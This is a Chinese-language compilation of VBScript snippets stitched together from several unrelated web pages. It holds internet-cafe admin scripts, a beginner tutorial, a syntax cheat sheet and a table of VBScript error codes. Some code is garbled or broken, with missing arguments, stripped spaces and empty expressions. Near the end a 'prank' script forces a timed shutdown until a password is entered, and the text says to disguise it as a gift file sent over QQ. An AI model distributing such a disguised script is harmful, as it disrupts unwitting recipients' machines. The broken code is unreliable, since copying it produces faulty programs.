下载文档原格式
收藏的比较精典VBS代码Set fso = Wscript.CreateObject("Scripting.FileSystemObject") '创建文件系统对象，用以处理驱动器、文件夹和文件Set WshShell = Wscript.CreateObject("Wscript.Shell") '创建系统Shell对象，用以运行程序等等if fso.fileexists("D:\刀剑Online\alreadyexist.txt") then '如果找到文件“D:\刀剑Online\alreadyexist.txt”则WshShell.Run("D:\刀剑Online\刀剑Online.exe") '运行“D:\刀剑Online\刀剑Online.exe”elseif fso.fileexists("\\gengxin\update\dj.exe") then '否则，如果找到“\\gengxin\update\dj.exe”则WshShell.Run("\\gengxin\update\dj.exe") '运行“\\gengxin\update\dj.exe”else WshShell.Run("D:\刀剑Online\刀剑Online.exe") '否则运行“D:\刀剑Online\刀剑Online.exe”end if '根据条件执行语句结束VBS 导入注册表，然后执行文件dim Wsh Set Wsh = WScript.CreateObject("WScript.Shell") Wsh.RegWrite "HKCU\SOFTWARE\AUDITION\AUTOSTART",0,"REG_DWORD" Wsh.RegWrite "HKCU\SOFTWARE\AUDITION\PATH","G:\网络游戏\劲舞团1.5","REG_SZ" Wsh.RegWrite "HKCU\SOFTWARE\AUDITION\VERSION",1010,"REG_DWORD" Wsh.run "patcher.exe"PING内网不通就执行关机的VBSstrIP = "192.168.0.254" '被PING的内网机器Set objShell = CreateObject("WScript.Shell")If Not IsOnline(strIP) Then objShell.run "shutdown -s -t 30 -c "&chr(34)&"机器即将关闭"&chr(34) End IfFunction IsOnline(strComputer) IsOnline = false strCommand = "%comspec% /c ping -n 2 -w 500 " & strComputer & "" Set objExecObject = objShell.Exec(strCommand) Do While Not objExecObject.StdOut.AtEndOfStream strText = objExecObject.StdOut.ReadAll() If Instr(strText, "Reply") > 0 Then IsOnline = true End If Loop End Function开机脚本VBS用于ARP邦定Set WshShell = Wscript.CreateObject("Wscript.Shell") WshShell.run "arp -s 192.168.0.1 30-18-e5-33-01",0 WshShell.run "arp -s 192.168.0.5 30-18-e5-33-07",0运行程序Dim aSet Wsh = WScript.CreateObject("WScript.Shell") a.Run "d:\网络游戏\大话西游II\xy-2.exe"运行oshell.run "d:\soft\hf\hfgame3\GameClient.lnk"断开网络连接strNICName = " disable =net pci\*" Set objShell = CreateObject("Wscript.Shell") strCommand = "devcon.exe"& strNICName objShell.Run strCommand, 0, False启动网络连接strNICName = " enable =net pci\*" Set objShell = CreateObject("Wscript.Shell") strCommand = "devcon.exe"& strNICName objShell.Run strCommand, 0, False删除文件的VBS脚本dim fso Set fso = CreateObject("Scripting.FileSystemObject")fso.CopyFile "\\server\共享\XXX.lnk","c:\目标位置1\",true '添加fso.CopyFile "\\server\共享\XXX.lnk","c:\目标位置2\",true '添加fso.DeleteFile "c:\目标位置1\XXX.lnk" ,true '删除fso.DeleteFile "c:\目标位置2\XXX.lnk" ,true '删除Set FSO=NoThing WScript.quit无界面自动检测安装iscsi客户端，映射及断开映射vbs脚本下列代码实现无界面自动检测安装iscsi客户端,自动映射On Error Resume Next setupfile="iscsi2.0.exe" 'iscsi客户端安装文件路径serverip="192.168.0.100" 'iscsi服务器ip Set oshell= CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") if not fso.fileexists(oshell.ExpandEnvironmentStrings("%WinDir%")+"\system32\iscsicpl.cpl")then oshell.run setupfile&" /q",,1 end if oshell.run "iscsicli AddTargetPortal "&serverip&" 3260",0,1 oshell.run "iscsicli LoginTarget .ricecake.iscsi:00 T * * * * * * * * * * * ** * * 0",0,1下例代码实现无界面删除iscsi映射盘filetmp="c:\my.txt" On Error Resume Next Set Shell = CreateObject("WScript.Shell") Set fso = Wscript.CreateObject("Scripting.FileSystemObject") shell.run "cmd /c iscsiclisessionlist>"&filetmp,0,1 Const ForReading = 1 Dim fso, theFile, retstring Set fso = CreateObject("Scripting.FileSystemObject") Set theFile = fso.OpenTextFile(filetmp, ForReading) aaa=thefile.readall thefile.close function myreadline() X=instr(1,aaa,vbcrlf,vbTextCompare) myline=mid(aaa,1,x-1) aaa=right(aaa,len(aaa)-x) if len(aaa) =<1 then myline ="end" myreadline=myline end function Do While bbb<>"end" bbb=myreadline if bbb <> "end" then if bbb <>" " then if instr(bbb,"Session")<>0 then temID=mid(bbb,instr(bbb,":")+1,len(bbb)-instr(bbb,":")) shell.run "iscsicli logouttarget"&temID,0 end if end if end if Loop fso.deletefile(filetmp)删除QQ用户文件强制删除是不行的了，要跳过的话这样：Dim fso, folderspec, f, f1, fc folderspec = "f:\Program Files\Tencent\QQ" '设置你的QQ文件夹Dim Re Set Re = New RegExp Re.Pattern = "^\d{4,13}$" Set fso = CreateObject("scripting.FileSystemObject") Set f = fso.GetFolder(folderspec) Set fc = f.SubFolders For Each f1 in fc If Re.Test() Then On Error Resume Next f1.Delete(true) On Error GoTo 0 End If Next格5分钟运行一次批处理程序Dim Wsh Set Wsh = WScript.CreateObject("WScript.Shell") Do Wsh.Run "d:\aaa.bat" '你要执行的批处理WScript.Sleep(300000) Loop要设开机自动运行，禁止程序。
VBS编程必背50个程序什么是VBS编程？VBS，全称为Visual Basic Scripting，是一种被广泛应用于Windows系统的脚本语言。
它基于Visual Basic，但语法更加简单且易于学习和使用。
VBS可以用于编写脚本文件，实现各种任务，如自动化任务、系统管理以及图形用户界面等。
为什么要掌握VBS编程？VBS编程是一种非常有用的技能，特别是对于那些需要在Windows环境中进行自动化和批量处理的人来说。
掌握VBS编程可以帮助你提高工作效率，简化重复的任务，并增加系统管理和故障排除的能力。
下面是50个VBS编程的示例程序：1. Hello WorldMsgBox "Hello World!"这个简单的程序会弹出一个对话框，显示“Hello World!”。
2. 计算器Dim num1, num2, resultnum1 = InputBox("请输入第一个数字:")num2 = InputBox("请输入第二个数字:")result = num1 + num2MsgBox "计算结果为：" & result这个程序会要求你输入两个数字，然后将它们相加并显示结果。
3. 遍历文件夹Set fso = CreateObject("Scripting.FileSystemObject")Set folder = fso.GetFolder("C:\Path\To\Folder")For Each file In folder.FilesMsgBox Next这个程序会遍历指定文件夹中的所有文件，并依次弹出每个文件名。
4. 创建文件Set fso = CreateObject("Scripting.FileSystemObject")Set file = fso.CreateTextFile("C:\Path\To\File.txt")file.WriteLine "Hello World!"file.Close这个程序会创建一个文本文件，并在其中写入“Hello World!”。
常⽤VBS代码值得⼀看从系统开始菜单中删除此链接:复制代码代码如下:Windows Registry Editor Version 5.00[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}]@=-"InfoTip"=-[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\DefaultIcon]@=-[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\Instance\InitPropertyBag] "Command"=-"Param1"=-VBS脚本实现整理磁盘碎⽚功能Set WshShell = WScript.CreateObject("WScript.Shell")Dim fso, d, dcSet fso = CreateObject("Scripting.FileSystemObject")Set dc = fso.DrivesFor Each d in dcIf d.DriveType = 2 ThenReturn = WshShell.Run("defrag " & d & " -f", 1, TRUE)End IfNextSet WshShell = Nothing计划任务定时调⽤VBS脚本复制代码代码如下:Option ExplicitOn Error Resume Next'⽣成列表的⽂件类型Const sListFileType = "wmv,rm,wma"'⽂件所在的相对路径Const sShowPath="."'排序类型的常量定义Const iOrderFieldFileName = 0Const iOrderFieldFileExt = 1Const iOrderFieldFileSize = 2Const iOrderFieldFileType = 3Const iOrderFieldFileDate = 4'排序顺逆的常量定义const iOrderAsc = 0const iOrderDesc = 1'⽣成列表的⽂件数量const iShowCount = 20'显⽰的⽇期格式函数Function Cndate2(date1,intDateStyle)dim strdate,dDate1strdate=cstr(date1)If Isdate(strdate) ThenIf Left(cstr(strdate),1)="0" ThendDate1=Cdate("20"+cstr(strdate))elsedDate1=Cdate(strdate)End IfElsedDate1=Now()End IfSelect case intDateStyleCase 1:Cndate2 = Cstr(Year(dDate1))+"-"+Cstr(Month(dDate1))+"-"+Cstr(Day(dDate1))Case 2:Cndate2 = Cstr(Month(dDate1))+"-"+Cstr(Day(dDate1))Case 3:Cndate2 = Cstr(Month(dDate1))+"⽉"+Cstr(Day(dDate1))+"⽇"Case 4:Cndate2 = Cstr(year(dDate1))+"年"+ Cstr(Month(dDate1))+"⽉"+Cstr(Day(dDate1))+"⽇" End SelectEnd FunctionFunction ListFile(strFiletype,intCompare,intOrder,intShowCount)Dim sListFileDim fso, f, f1, fc, s,ftype,fcount,i,j,kDim t1,t2,t3,t4,t5Dim iMonth,iDaysListFile = ""Set fso = CreateObject("Scripting.FileSystemObject")Set f = fso.GetFolder(sShowPath)Set fc = f.Filesfcount = fc.countredim arrFiles(fcount,5)redim arrFiles2(fcount,5)i=0'排序For Each f1 in fcftype = right(,len()-instrrev(,"."))arrFiles(i,0) = arrFiles(i,1) = ftypearrFiles(i,2) = f1.sizearrFiles(i,3) = f1.typearrFiles(i,4) = f1.DateLastModifiedi=i+1NextFor i=0 to fcount-1for j=i+1 to fcount-1select Case intCompareCase iOrderFieldFileName,iOrderFieldFileExt,iOrderFieldFileType:If arrFiles(i,intCompare)>arrFiles(j,intCompare) thent1 = arrFiles(i,0)t2 = arrFiles(i,1)t3 = arrFiles(i,2)t4 = arrFiles(i,3)t5 = arrFiles(i,4)arrFiles(i,0) = arrFiles(j,0)arrFiles(i,1) = arrFiles(j,1)arrFiles(i,2) = arrFiles(j,2)arrFiles(i,3) = arrFiles(j,3)arrFiles(i,4) = arrFiles(j,4)arrFiles(j,0) = t1arrFiles(j,1) = t2arrFiles(j,2) = t3arrFiles(j,3) = t4arrFiles(j,4) = t5end ifCase iOrderFieldFileSize:If cdbl(arrFiles(i,intCompare))>cdbl(arrFiles(j,intCompare)) thent1 = arrFiles(i,0)t2 = arrFiles(i,1)t3 = arrFiles(i,2)t4 = arrFiles(i,3)t5 = arrFiles(i,4)arrFiles(i,0) = arrFiles(j,0)arrFiles(i,1) = arrFiles(j,1)arrFiles(i,2) = arrFiles(j,2)arrFiles(i,3) = arrFiles(j,3)arrFiles(i,4) = arrFiles(j,4)arrFiles(j,0) = t1arrFiles(j,1) = t2arrFiles(j,2) = t3arrFiles(j,3) = t4arrFiles(j,4) = t5end ifCase iOrderFieldFileDate:If Cdate(arrFiles(i,intCompare))>Cdate(arrFiles(j,intCompare)) thent1 = arrFiles(i,0)t2 = arrFiles(i,1)t3 = arrFiles(i,2)t4 = arrFiles(i,3)t5 = arrFiles(i,4)arrFiles(i,0) = arrFiles(j,0)arrFiles(i,1) = arrFiles(j,1)arrFiles(i,2) = arrFiles(j,2)arrFiles(i,3) = arrFiles(j,3)arrFiles(i,4) = arrFiles(j,4)arrFiles(j,0) = t1arrFiles(j,1) = t2arrFiles(j,2) = t3arrFiles(j,3) = t4arrFiles(j,4) = t5end ifEnd Selectnextnext'⽣成列表sListFile = sListFile + ("<table cellpadding=0 cellspacing=0 width=100% align=center class=""PageListTable"" style=""BEHAVIOR: url(images/sort2.htc); "">")sListFile = sListFile + ("<THEAD><Tr class=PageListTitleTr><Td class=PageListTitleTd>")sListFile = sListFile + ("名称")sListFile = sListFile + ("</td><Td class=PageListTitleTd>")sListFile = sListFile + ("媒体")sListFile = sListFile + ("</td><Td class=PageListTitleTd>")sListFile = sListFile + ("⼤⼩")sListFile = sListFile + ("</td><Td class=PageListTitleTd>")sListFile = sListFile + ("类型")sListFile = sListFile + ("</td><Td class=PageListTitleTd ID=updatetime>")sListFile = sListFile + ("更新时间")sListFile = sListFile + ("</td></Tr></THEAD>")dim iLoopStart,iLoofEnd,iLoopStepIf intOrder = 0 theniLoopStart = 0iLoofEnd = fcount-1iLoopStep = 1ElseiLoopStart = fcount-1iLoofEnd = 0iLoopStep = -1End ifdim iCount,sTDStyleClassiCount = 1For j=iLoopStart to iLoofEnd Step iLoopStepIf instr(strFiletype,arrFiles(j,1))>0 and iCount<=intShowCount thensTDStyleClass = "PageListTd"+Cstr((iCount mod 2)+1)sListFile = sListFile + ("<Tr class=PageListTr><Td class="+sTDStyleClass+">")sListFile = sListFile + ("<img src=images/"+arrFiles(j,1)+".gif align=absbottom><img src=b.gif width=2 height=0><a href=" & sShowPath & "/" & CStr(arrFiles(j,0)) &">" & arrFiles(j,0) &"</a>")If datediff("h",arrFiles(j,4),now)<=24 thensListFile = sListFile + "<img src=images/new.gif align=absmiddle>"end ifsListFile = sListFile + "</td><Td class="+sTDStyleClass+">"sListFile = sListFile + ("<a href=" & sShowPath & "/" & CStr(arrFiles(j,0)) &">")'根据⽂件名规则,⽣成中⽂提⽰select case left(arrFiles(j,0),3)case "sc2":sListFile = sListFile + "<font color=#AA0000>四川卫视 "case "sd2":sListFile = sListFile + "<font color=#00AA00>⼭东卫视 "case "gd2":sListFile = sListFile + "<font color=#0000AA>⼴东卫视 "case "gx2":sListFile = sListFile + "<font color=#AAAA00>⼴西卫视 "end select'⽇期显⽰If isnumeric(left(right(arrFiles(j,0),8),2)) theniMonth = cint(left(right(arrFiles(j,0),8),2))iDay = cint(left(right(arrFiles(j,0),6),2))sListFile = sListFile + cstr(iMonth)+"⽉" + cstr(iDay)+"⽇"sListFile = sListFile + ("</a></td><Td class="+sTDStyleClass+" align=right>")Elseresponse.write arrFiles(j,0)end ifIf arrFiles(j,2)>1024*1024 thensListFile = sListFile + cstr(round(arrFiles(j,2)/1024/1024))sListFile = sListFile + ("MB")elsesListFile = sListFile + cstr(round(arrFiles(j,2)/1024))sListFile = sListFile + ("KB")end ifsListFile = sListFile + (" </td>")sListFile = sListFile + ("<Td class="+sTDStyleClass+">")sListFile = sListFile + cstr(arrFiles(j,3))sListFile = sListFile + ("</td>")sListFile = sListFile + ("<Td class="+sTDStyleClass+">")sListFile = sListFile + (Cndate2(arrFiles(j,4),4))sListFile = sListFile + ("</td>")sListFile = sListFile + ("</Tr>")iCount = iCount+1end ifnextsListFile = sListFile + "</table>"ListFile = sListFileEnd Function'⽣成调⽤⽂件的过程Sub ShowFileListContent()Dim tUpdatetime,sUpdateContentDim fso,f,f_js,f_js_writeSet fso = CreateObject("Scripting.FileSystemObject")Set f = fso.GetFolder(sShowPath)Set f_js = fso.GetFile("list.js")'⽐较调⽤⽂件与⽂件夹的最后修改时间If f.DateLastModified<>f_js.DateLastModified thensUpdateContent = ListFile(sListFileType,iOrderFieldFileDate,iOrderDesc,iShowCount) Set f_js_write = fso.CreateTextFile("list.js", True)'JS调⽤就加上下⾯这对document.write' f_js_write.Write ("document.write('")f_js_write.Write (sUpdateContent)' f_js_write.Write ("')")f_js_write.CloseEnd IfEnd SubCall ShowFileListContent()可以代替⽹通宽带登陆器的⼀段vbs脚本Dim WshShell, iexplorePath, iexploreselectiexplorePath="c:\Progra~1\Intern~1\iexplore.exe"Set WshShell=WScript.CreateObject("WScript.Shell")WshShell.Run iexplorePathWScript.Sleep 2000WshShell.AppActivate "⽤户上⽹登陆"WshShell.SendKeys "⾃⼰的账号{TAB}"WshShell.SendKeys "⾃⼰的密码"WScript.Sleep 2000WshShell.SendKeys "{ENTER}"利⽤VBS脚本创建快捷⽅式我们以"QQ Aqing增强包参数配置器"为例⼦,讲述如何利⽤VBS脚本创建快捷⽅式.代码如下: 代码:set WshShell = Wscript.CreateObject("Wscript.Shell")strDesktop = WshShell.SpecialFolders("Desktop")set oShellLink = WshShell.CreateShortcut(strDesktop & "\QQ Aqing增强包参数配置器.lnk") '创建⼀个快捷⽅式对象,其在桌⾯上显⽰的名字为"QQ Aqing增强包参数配置器" oShellLink.TargetPath = "C:\Program Files\Tencent\QQ\Aqing.exe"'设置快捷⽅式的执⾏路径oShellLink.WindowStyle = 1oShellLink.Hotkey = "Ctrl+Alt+e" '设置快捷⽅式的快捷键oShellLink.IconLocation = "E:\Picture\Aqing.ico" '设置快捷⽅式的图标路径oShellLink.Description = "QQ Aqing增强包参数配置器" '设置快捷⽅式的描述oShellLink.WorkingDirectory = strDesktopoShellLink.Save将上述代码保存为"CreateShortcut.vbs"(不含引号).双击CreateShortcut.vbs,就会将QQ Aqing增强包参数配置器的快捷⽅式建⽴到桌⾯上.⽤这种⽅法建⽴的快捷⽅式的最⼤优点是:快捷⽅式的图标可以根据⾃⼰的喜好进⾏更改⽤VBS脚本发送email![code]Set objEmail = CreateObject("CDO.Message")objEmail.From = "null_vbt@"objEmail.To = "null_vbt@"objEmail.Subject = "这封邮件是由VBS脚本发送"objEmail.Textbody = "如果你收到这封邮件，就表⽰测试成功！"objEmail.Send利⽤vbs脚本编写Windows XP/2003序列号更改器复制代码代码如下:ON ERROR RESUME NEXTDim VOL_PROD_KEYif Wscript.arguments.count<1 thenVOL_PROD_KEY =InputBox("使⽤说明(OEM版⽆效)："&vbCr&vbCr&" 本脚本程序将修改当前 Windows 的序列号。
VBS语法速查表VBS语法速查表2011-06-24 22:58VBS语法速查表VBScript 函数功能说明例子Abs （数值）绝对值。
一个数字的绝对值是它的正值。
空字符串 (null) 的绝对值，也是空字符串。
未初始化的变数，其绝对为 0 例子：ABS(-2000)结果：2000Array （以逗点分隔的数组元素） Array 函数传回数组元素的值。
例子：A=Array(1,2,3)B=A(2)结果： 2说明：变量Ｂ为Ａ数组的第二个元素的值。
Ａsc （字符串）将字符串的第一字母转换成 ANSI （美国国家标准符号）字码。
例子：Ａsc（＂Internet＂）结果：73说明：显示第一字母 I 的 ANSI 字码。
CBool（表达式）转换成布尔逻辑值变量型态（Ｔrue 或Ｆalse ）例子：CBool（1+2）结果：TrueCDate （日期表达式）换成日期变量型态。
可先使用 IsDate 函数判断是否可以转换成日期。
例子： CDate (now( )+2)结果：2000/5/28 10:30:59CDbl（表达式）转换成DOUBLE变量型态。
Chr （ ANSI 字码）将ASCII 字码转换成字符。
例子： Chr （ 72 ）结果： HCInt （表达式）转换成整数变量型态。
例子： CInt ("3.12")结果： 3CLng （表达式）转换成LONG 变量型态。
CSng （表达式）转换成SINGLE 变量型态。
CStr （表达式）转换成字符串变量型态。
Date （）top 传回系统的日期。
例子： Date结果： 2000/5/13DateAdd （ I , N , D ）将一个日期加上一段期间后的日期。
I ：设定一个日期（ Date ）所加上的一段期间的单位。
譬如 interval="d" 表示 N的单位为日。
I的设定值如下：yyyy Year 年q Quarter 季m Month 月d Day 日w Weekday 星期h Hour 时n Minute 分s Second 秒N ：数值表达式，设定一个日期所加上的一段期间，可为正值或负值，正值表示加（结果为>date 以后的日期），负值表示减（结果为 >date 以前的日期）。
微软VBScript脚本常见错误代码及含义（zt）微软VBScript脚本常见错误代码及含义(zt)发表人:sunlighta | 发表时间: 2007年二月25日, 14:13Microsoft VBScript语法错误(0x800A03E9)-->内存不足Microsoft VBScript语法错误(0x800A03EA)-->语法错误Microsoft VBScript语法错误(0x800A03EB)-->缺少 ':' Microsoft VBScript语法错误(0x800A03ED)-->缺少'(' Microsoft VBScript语法错误(0x800A03EE)-->缺少')' Microsoft VBScript语法错误(0x800A03EF)-->缺少']' Microsoft VBScript语法错误(0x800A03F2)-->缺少标识符Microsoft VBScript语法错误(0x800A03F3)-->缺少'=' Microsoft VBScript语法错误(0x800A03F4)-->缺少'If' Microsoft VBScript语法错误(0x800A03F5)-->缺少'To' Microsoft VBScript语法错误(0x800A03F6)-->缺少'End' Microsoft VBScript语法错误(0x800A03F7)-->缺少'Function' Microsoft VBScript语法错误(0x800A03F8)-->缺少'Sub' Microsoft VBScript语法错误(0x800A03F9)-->缺少'Then' Microsoft VBScript语法错误(0x800A03FA)-->缺少'Wend' Microsoft VBScript语法错误(0x800A03FB)-->缺少'Loop' Microsoft VBScript语法错误(0x800A03FC)-->缺少'Next' Microsoft VBScript语法错误(0x800A03FD)-->缺少'Case' Microsoft VBScript语法错误(0x800A03FE)-->缺少'Select' Microsoft VBScript语法错误(0x800A03FF)-->缺少表达式Microsoft VBScript语法错误(0x800A0400)-->缺少语句Microsoft VBScript语法错误(0x800A0401)-->语句未结束Microsoft VBScript语法错误(0x800A0402)-->缺少整型常数Microsoft VBScript语法错误(0x800A0403)-->缺少 'While' 或 'Until' Microsoft VBScript语法错误(0x800A0404)-->缺少'While', 'Until' 或语句未结束Microsoft VBScript语法错误(0x800A0405)-->缺少 'With' Microsoft VBScript语法错误(0x800A0406)-->标识符过长 Microsoft VBScript语法错误(0x800A0407)-->无效数字Microsoft VBScript语法错误(0x800A0408)-->无效字符Microsoft VBScript语法错误(0x800A0409)-->未结束的字符串常量 Microsoft VBScript语法错误(0x800A040A)-->注释未结束Microsoft VBScript语法错误(0x800A040D)-->无效使用 'Me' 关键字 Microsoft VBScript语法错误(0x800A040E)-->'loop' 语句缺少 'do' Microsoft VBScript语法错误(0x800A040F)-->无效的 'exit' 语句 Microsoft VBScript语法错误(0x800A0410)-->循环控制变量'for' 无效Microsoft VBScript语法错误(0x800A0411)-->名称重定义Microsoft VBScript语法错误(0x800A0412)-->必须是行中的第一个语句 Microsoft VBScript语法错误(0x800A0413)-->不能为non-ByVal 参数赋值Microsoft VBScript语法错误(0x800A0414)-->调用子程序时不能使用括号Microsoft VBScript语法错误(0x800A0415)-->缺少文字常数Microsoft VBScript语法错误(0x800A0416)-->缺少'In' Microsoft VBScript语法错误(0x800A0417)-->缺少 'Class' Microsoft VBScript 语法错误(0x800A0418)-->必须在一个类的内部定义Microsoft VBScript语法错误(0x800A0419)-->在属性声明中缺少Let , Set 或Get Microsoft VBScript语法错误(0x800A041A)-->缺少'Property' Microsoft VBScript语法错误(0x800A041B)-->在所有属性的规范中，变量的数目必须一致 Microsoft VBScript语法错误(0x800A041C)-->在一个类中不允许有多个缺省的属性/方法 Microsoft VBScript语法错误(0x800A041D)-->类的初始化或终止程序没有参数Microsoft VBScript语法错误(0x800A041E)-->属性的set 或let 必须至少有一个参数 Microsoft VBScript语法错误(0x800A041F)-->错误的 'Next' Microsoft VBScript语法错误(0x800A0420)-->'Default' 只能在'Property' , 'Function' 或 'Sub' 中指定 Microsoft VBScript语法错误(0x800A0421)-->指定'Default' 时必须同时指定'Public' ") Microsoft VBScript语法错误(0x800A0422)-->只能在 Property Get中指定 'Default' Microsoft VBScript 运行时错误(0x800A0005)-->无效的过程调用或参数 Microsoft VBScript 运行时错误(0x800A0006)-->溢出Microsoft VBScript 运行时错误(0x800A0007)-->内存不足Microsoft VBScript 运行时错误(0x800A0009)-->下标越界Microsoft VBScript 运行时错误(0x800A000A)-->该数组为定长的或临时被锁定 Microsoft VBScript 运行时错误(0x800A000B)-->被零除Microsoft VBScript 运行时错误(0x800A000D)-->类型不匹配Microsoft VBScript 运行时错误(0x800A000E)-->字符串空间不够Microsoft VBScript 运行时错误(0x800A0011)-->不能执行所需的操作Microsoft VBScript 运行时错误(0x800A001C)-->堆栈溢出Microsoft VBScript 运行时错误(0x800A0023)-->未定义过程或函数Microsoft VBScript 运行时错误(0x800A0030)-->加载DLL 时出错Microsoft VBScript 运行时错误(0x800A0033)-->内部错误Microsoft VBScript 运行时错误(0x800A0034)-->错误的文件名或号码Microsoft VBScript 运行时错误(0x800A0035)-->文件未找到Microsoft VBScript 运行时错误(0x800A0036)-->错误的文件模式Microsoft VBScript 运行时错误(0x800A0037)-->文件已经打开Microsoft VBScript 运行时错误(0x800A0039)-->设备I/O 错误Microsoft VBScript 运行时错误(0x800A003A)-->文件已存在Microsoft VBScript 运行时错误(0x800A003D)-->磁盘已满Microsoft VBScript 运行时错误(0x800A003E)-->输入超出了文件尾Microsoft VBScript 运行时错误(0x800A0043)-->文件过多Microsoft VBScript 运行时错误(0x800A0044)-->设备不可用Microsoft VBScript 运行时错误(0x800A0046)-->没有权限Microsoft VBScript 运行时错误(0x800A0047)-->磁盘没有准备好Microsoft VBScript 运行时错误(0x800A004A)-->重命名时不能带有其他驱动器符号 Microsoft VBScript 运行时错误(0x800A004B)-->路径/文件访问错误Microsoft VBScript 运行时错误(0x800A004C)-->路径未找到 Microsoft VBScript 运行时错误(0x800A005B)-->对象变量未设置 Microsoft VBScript 运行时错误(0x800A005C)-->For 循环未初始化 Microsoft VBScript 运行时错误(0x800A005E)-->无效使用Null Microsoft VBScript 运行时错误(0x800A0142)-->不能创建所需的临时文件 Microsoft VBScript 运行时错误(0x800A01A8)-->缺少对象Microsoft VBScript 运行时错误(0x800A01AD)-->ActiveX 部件不能创建对象 Microsoft VBScript 运行时错误(0x800A01AE)-->类不能支持 Automation 操作 Microsoft VBScript 运行时错误(0x800A01B0)-->Automation 操作中文件名或类名未找到 Microsoft VBScript 运行时错误(0x800A01B6)-->对象不支持此属性或方法Microsoft VBScript 运行时错误(0x800A01B8)-->Automation 操作错误Microsoft VBScript 运行时错误(0x800A01BD)-->对象不支持此操作 Microsoft VBScript 运行时错误(0x800A01BE)-->对象不支持已命名参数 Microsoft VBScript 运行时错误(0x800A01BF)-->对象不支持当前区域设置Microsoft VBScript 运行时错误(0x800A01C0)-->未找到已命名参数Microsoft VBScript 运行时错误(0x800A01C1)-->参数是必选项 Microsoft VBScript 运行时错误(0x800A01C2)-->错误的参数个数或无效的参数属性值Microsoft VBScript 运行时错误(0x800A01C3)-->对象不是一个集合Microsoft VBScript 运行时错误(0x800A01C5)-->未找到指定的 DLL 函数 Microsoft VBScript 运行时错误(0x800A01C7)-->代码资源锁定错误 Microsoft VBScript 运行时错误(0x800A01CA)-->变量使用了一个 VBScript 中不支持的 Automation 类型 Microsoft VBScript 运行时错误(0x800A01CE)-->远程服务器不存在或不可用Microsoft VBScript 运行时错误(0x800A01E1)-->无效图片 Microsoft VBScript 运行时错误(0x800A01F4)-->变量未定义 Microsoft VBScript 运行时错误(0x800A01F5)-->非法赋值Microsoft VBScript 运行时错误(0x800A01F6)-->对象不能安全地使用Script 编程Microsoft VBScript 运行时错误(0x800A01F7)-->对象不能安全初始化Microsoft VBScript 运行时错误(0x800A01F8)-->对象不能安全创建Microsoft VBScript 运行时错误(0x800A01F9)-->无效的或无资格的引用 Microsoft VBScript 运行时错误(0x800A01FA)-->类没有被定义Microsoft VBScript 运行时错误(0x800A01FB)-->出现一个意外错误Microsoft VBScript 运行时错误(0x800A1398)-->缺少常规表达式对象 Microsoft VBScript 运行时错误(0x800A1399)-->常规表达式语法错误 Microsoft VBScript 运行时错误(0x800A139A)-->错误的数量词Microsoft VBScript 运行时错误(0x800A139B)-->常规表达式中缺少']' Microsoft VBScript 运行时错误(0x800A139C)-->常规表达式中缺少')' Microsoft VBScript 运行时错误(0x800A139D)-->字符集越界Microsoft VBScript 运行时错误(0x800A802B)-->未找到元素ActiveServerPages,ASP0126(0x80004005)-->找不到包含文件Microsoft OLEDBProviderforODBCDrivers(0x80040E14)-->sql语句出错(字段名错误,或数据类型不匹配) Microsoft OLEDBProviderforODBCDrivers(0x80040E07)-->sql语句出错(要插入或更新的字段的类型与变量数据类型不匹配) Microsoft OLEDBProviderforODBCDrivers(0x80040E57)-->sql语句出错(要插入或更新的数据溢出) Microsoft OLEDBProviderforODBCDrivers(0x80040E10)-->sql语句出错(update字段名或要更新的数据类型错误) Microsoft OLEDBProviderforODBCDrivers(0x80004005)-->sql语句出错(要插入或更新的字段的数值不能为空值) Microsoft OLEDBProviderforODBCDrivers(0x80004005)-->打开数据库出错，没有在指定目录发现数据库Microsoft OLEDBProviderforODBCDrivers(0x80040E37)-->没有发现表ODBCDrivers(0x80040E21)-->sql语句出错(数据类型不匹配或表/字段错误或处于编辑状态，或不存在于conn打开的数据库中) ADODB.Recordset(0x800A0BB9)-->sql语句出错(sql语句或conn 语句未定义或对一个rs属性进行赋值时发生错误) ADODB.Recordset(0x800A0CC1)-->rs对像出错(rs对像本身不存在或错误地引用了一个不存在的字段名) ADODB.Recordset(0x800A0BCD)-->rs对像出错(记录集中没有记录却对记录集进行操作) ADODB.Recordset(0x800A0E78)-->rs对像出错(记录集不存在,缺少rs.open语句) ADODB.Recordset(0x800A0CC1)-->rs对像出错(引用了一个不存在的字段名) ADODB.Recordset(0x800A0E7D)-->conn定义错误ADODB.Recordset(0x800A0CB3)-->数据库以只读方式打开，无法更新数据 ADODB.Recordset(0x800A000D)-->错误引用rs变量(rs对像已关闭或未定义)。
VBS脚本常用经典代码收集于2011年7月2日21:13:37整理在网上查找资料的时候发现好多经典的vbs代码，收集起来也为了以后学习。
VBS播放音乐DimwmpSetwmp=CreateObject("WMPlayer.OCX")wmp.openStatewmp.URL="想象之中.mp3"DoUntilwmp.playState=1WScript.Sleep1000Loop比较流行的VBS整人脚本(保存为“礼物.VBE”这样就可以通过QQ发送了)Setshell=CreateObject("WScript.Shell")shell.run"shutdown-s-t60-c系统即将关闭.",0WhileInputBox("请输入答案","请回答")<>"123"'密码是123MsgBox"答案在心中...",16+4096'4096是让窗口在最顶层Wendshell.run"shutdown-a",0MsgBox"恭喜",64修改桌面背景图片Sphoto="d:\1.bmp"'输入你自己的BMP路径Consthkcu=&h80001Setwmi=GetObject("winmgmts:stdregprov")wmi.getstringvaluehkcu,"ControlPanel\Desktop","Wallpaper",Spathwmi. setstringvaluehkcu,"ControlPanel\Desktop","TileWallpaper","0"wmi.setstringvaluehk cu,"ControlPanel\Desktop","WallpaperStyle","2"wmi.setdwordvaluehkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","Listvi ewShadow",1Setwmi=NothingSetfso=CreateObject("scripting.filesystemobject")Setfs=fso.Getfile(Sphoto)backname==fso.GetFileName(Spath)fs.Copyfso.GetParentFolderName(Spath)&"\",True=backnameSetfso=NothingSetws=CreateObject("wscript.shell")ws.Run"gpupdate/force",vbhidews.Run"RunDll32.exeUSER32.DLL,UpdatePerUserSystemParameters"Setws=NothingVBS获取系统安装路径C:\WINDOWS路径先定义这个变量是获取系统安装路径的，然后我们用"strWinDir"调用这个变量。
